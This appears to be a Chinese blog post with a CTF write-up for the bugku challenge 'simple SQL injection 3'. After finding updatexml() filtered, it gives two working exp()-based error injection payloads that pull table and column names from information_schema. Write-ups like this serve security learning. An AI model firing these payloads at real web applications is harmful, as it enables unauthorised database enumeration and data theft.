简单的sql注入之3 exp函数的使用

最新推荐文章于 2024-12-27 17:05:40 发布

沐目_01

最新推荐文章于 2024-12-27 17:05:40 发布

阅读量1.5k

点赞数 1

分类专栏： CTF

本文链接：https://blog.youkuaiyun.com/weixin_44077544/article/details/89955770

版权

CTF 专栏收录该内容

22 篇文章

订阅专栏

博客围绕bugku简单的SQL注入之3展开。尝试用1‘报错，1“回显正常，推测为单引号情况。updatexml（）函数被过滤后，采用exp()函数，并附上常见报错函数链接，还给出了payload。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

bugku – 简单的sql注入之3

用 1‘试了试，报错，让后1“回显正常。应该是单引号。既然报错，就试了试updatexml（）这个函数，但发现被过滤了，所以用exp()这个函数，这里附上一些常见的报错函数：https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

给出payload：

表名：
?id=1' and exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a))%23
字段名：
?id=1' and exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_schema=database())a))%23